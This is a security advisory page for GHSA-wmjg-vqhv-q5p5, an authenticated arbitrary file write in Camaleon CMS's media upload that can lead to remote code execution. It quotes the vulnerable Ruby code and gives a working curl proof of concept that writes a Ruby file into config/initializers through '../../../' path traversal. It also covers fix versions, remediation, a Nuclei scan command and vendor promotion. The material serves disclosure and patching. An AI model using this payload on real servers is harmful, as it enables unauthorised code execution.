GHSA-wmjg-vqhv-q5p5 is a high-severity (CVSS 8.8) CWE-74 vulnerability in camaleon_cms. 2 public exploit references exist, so weaponization risk is real. A fix is available for camaleon_cms — see the affected versions and patch details below.
Camaleon CMS affected by arbitrary file write to RCE (GHSL-2024-182)
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-wmjg-vqhv-q5p5.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-wmjg-vqhv-q5p5 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 376,715 CVEs with a current EPSS score, this one falls in the 10–50% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
camaleon_cmsReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects RubyGems packages — download data is not available via public APIs for these ecosystems.
Description
An arbitrary file write vulnerability accessible via the upload method of the MediaController allows authenticated users to write arbitrary files to any location on the web server Camaleon CMS is running on (depending on the permissions of the underlying filesystem). E.g. This can lead to a delayed remote code execution in case an attacker is able to write a Ruby file into the config/initializers/ subfolder of the Ruby on Rails application.
Once a user upload is started via the upload method, the file_upload and the folder parameter
def upload(settings = {})
params[:dimension] = nil if params[:skip_auto_crop].present?
f = { error: 'File not found.' }
if params[:file_upload].present?
f = upload_file(params[:file_upload],
{ folder: params[:folder], dimension: params['dimension'], formats: params[:formats], versions: params[:versions],
thumb_size: params[:thumb_size] }.merge(settings))
end
[..]
end
are passed to the upload_file method. Inside that method the given settings are merged with some presets. The file format is checked against the formats settings we can override with the formats parameters.
# formats validations
return { error: "#{ct('file_format_error')} (#{settings[:formats]})" } unless cama_uploader.class.validate_file_format(
uploaded_io.path, settings[:formats]
)
Our given folder is then passed unchecked to the Cama_uploader:
key = File.join(settings[:folder], settings[:filename]).to_s.cama_fix_slash
res = cama_uploader.add_file(settings[:uploaded_io], key, { same_name: settings[:same_name] })
In the add_file method of CamaleonCmsLocalUploader this key argument containing the unchecked path is then used to write the file to the file system:
def add_file(uploaded_io_or_file_path, key, args = {})
[..]
upload_io = uploaded_io_or_file_path.is_a?(String) ? File.open(uploaded_io_or_file_path) : uploaded_io_or_file_path
File.open(File.join(@root_folder, key), 'wb') { |file| file.write(upload_io.read) }
[..]
end
Proof of concept Precondition: A valid account of a registered user is required. (The values for auth_token and _cms_session need to be replaced with authenticated values in the curl command below)
curl --path-as-is -i -s -k -X $'POST'
-H $'User-Agent: Mozilla/5.0' -H $'Content-Type: multipart/form-data; boundary=----WebKitFormBoundary80dMC9jX3srWAsga' -H $'Accept: /' -H $'Connection: keep-alive'
-b $'auth_token=[..]; _cms_session=[..]'
--data-binary $'------WebKitFormBoundary80dMC9jX3srWAsga\x0d\x0aContent-Disposition: form-data; name="file_upload"; filename="test.rb"\x0d\x0aContent-Type: text/x-ruby-script\x0d\x0a\x0d\x0aputs "================================="\x0aputs "================================="\x0aputs "= COMPROMISED ="\x0aputs "================================="\x0aputs "================================="\x0d\x0a------WebKitFormBoundary80dMC9jX3srWAsga\x0d\x0aContent-Disposition: form-data; name="folder"\x0d\x0a\x0d\x0a../../../config/initializers/\x0d\x0a------WebKitFormBoundary80dMC9jX3srWAsga\x0d\x0aContent-Disposition: form-data; name="skip_auto_crop"\x0d\x0a\x0d\x0atrue\x0d\x0a------WebKitFormBoundary80dMC9jX3srWAsga--\x0d\x0a'
$'https://<camaleon-host>/admin/media/upload?actions=false'
Note that the upload form field formats was removed so that Camaleon CMS accepts any file. The folder was set to ../../../config/initializers/so that following Ruby script is written into the initializers folder of the Rails web app:
puts "=================================" puts "=================================" puts "= COMPROMISED =" puts "=================================" puts "=================================" Once Camaleon CMS is restarted following output will be visible in the log:
=================================
= COMPROMISED =
================================= Impact This issue may lead up to Remote Code Execution (RCE) via arbitrary file write.
Remediation Normalize file paths constructed from untrusted user input before using them and check that the resulting path is inside the targeted directory. Additionally, do not allow character sequences such as .. in untrusted input that is used to build paths.
See also:
CodeQL: Uncontrolled data used in path expression OWASP: Path Traversal
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 💎RubyGems | camaleon_cms | ≥ 2.8.0&&< 2.8.1 | 2.8.1bundle update camaleon_cms --conservative |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for camaleon_cms, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update camaleon_cms to 2.8.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-wmjg-vqhv-q5p5 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-wmjg-vqhv-q5p5 can be triaged on real exposure rather than presence alone.
Tailored to GHSA-wmjg-vqhv-q5p5. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
How to detect GHSA-wmjg-vqhv-q5p5
A community-maintained Nuclei template exists for this CVE. You can scan for it directly:
nuclei -id ghsa-wmjg-vqhv-q5p5 -u https://target- Template
- Camaleon CMS < 2.8.1 Arbitrary File Write to RCE
- Severity
- critical
- Impact
- Authenticated attackers can write arbitrary files to any location on the web server, potentially achieving remote code execution.
- Remediation
- Update Camaleon CMS to version 2.8.1 or later.
Template by ProjectDiscovery nuclei-templates (iamnoooob, rootxharsh, pdresearch), MIT licensed. View the full template. Scan only systems you are authorised to test.
Frequently Asked Questions
Is GHSA-wmjg-vqhv-q5p5 in your dependencies?
O3 Security finds GHSA-wmjg-vqhv-q5p5 across RubyGems dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.